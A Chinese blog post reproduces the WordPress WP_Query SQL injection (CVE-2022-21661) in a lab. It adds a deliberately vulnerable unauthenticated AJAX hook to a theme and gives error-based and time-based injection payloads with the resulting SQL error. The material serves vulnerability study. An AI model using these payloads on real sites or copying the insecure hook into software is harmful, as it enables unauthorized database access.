Word Press核心框架WP_Query SQL注入漏洞

Word Press核心框架WP_Query SQL注入漏洞

0x00 概述

Wordpress它是世界上 最常用的开源CMS之一,在允许开发者自己构建插件和主题来管理网站的时候,由于它的便利性而被大量使用,wordpress的核心会提供插件/主题的功能来调用和使用wordpress提供的数据格式、查询数据库等功能。2022年1月6日,wordpress发布了5.8.3版本,修复了一处核心代码WP_Query的sql注入漏洞。Wordpress的核心部分发现了一个SQL Injection漏洞,最近Wordpress也发布了针对这个错误的补丁。WP_Query是wordpress定义的一个类,允许开发者编写自定义查询和使用不同的参数展示文章,并可以直接查询wordpress数据库,在核心框架和插件以及主题中广泛使用。

0x01 影响范围

WordPress v4.1~v5.8.2

0x02 漏洞重现

测试环境:CentOS 7 + 宝塔(PHP 7.0 + a Nginx 1.21.0 )+ WordPress 5.8.2 + Chrome+Hackbar
增加代码在以下路径 \wp-content\themes\twentytwentyone\functions.php

1
2
3
4
5
6
7
8
9
10
11
//cve-2022-21661 test
function wp_query_test(){
echo 'test-cve-2022-21661';

$inputData = stripslashes($_POST['data']);
$jsonDecodeInputData = json_decode($inputData,true);
$wpTest = new WP_Query($jsonDecodeInputData);
wp_die();
}

add_action('wp_ajax_nopriv_test','wp_query_test',0);

开启Debug

修改\wp-config.php

注释:

1
#define('WP_DEBUG', false);

添加:

1
2
3
4
5
6
ini_set('log_errors','On');
ini_set('display_errors','On');
ini_set('error_reporting', E_ALL );
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
define('WP_DEBUG_DISPLAY', true);

请求URL http://10.1.1.6/wp-admin/admin-ajax.php

Body:

1
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}

image-20220217214019289

报错语句:

1
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1 AND ( wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#) ) AND wp_posts.post_type IN ('post', 'page', 'attachment') AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending') GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 10

未开启Debug

可以使用的延时sqli的poc:

1
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(2))#"]}}}

0x03 参考资料

https://xz.aliyun.com/t/10841#toc-7

https://blog.csdn.net/qq_46717339/article/details/122431779


Word Press核心框架WP_Query SQL注入漏洞
https://chrrr1y.github.io/2022/04/28/CVE-2022–21661/
作者
Chrrr1y
发布于
2022年4月28日
更新于
2022年11月4日
许可协议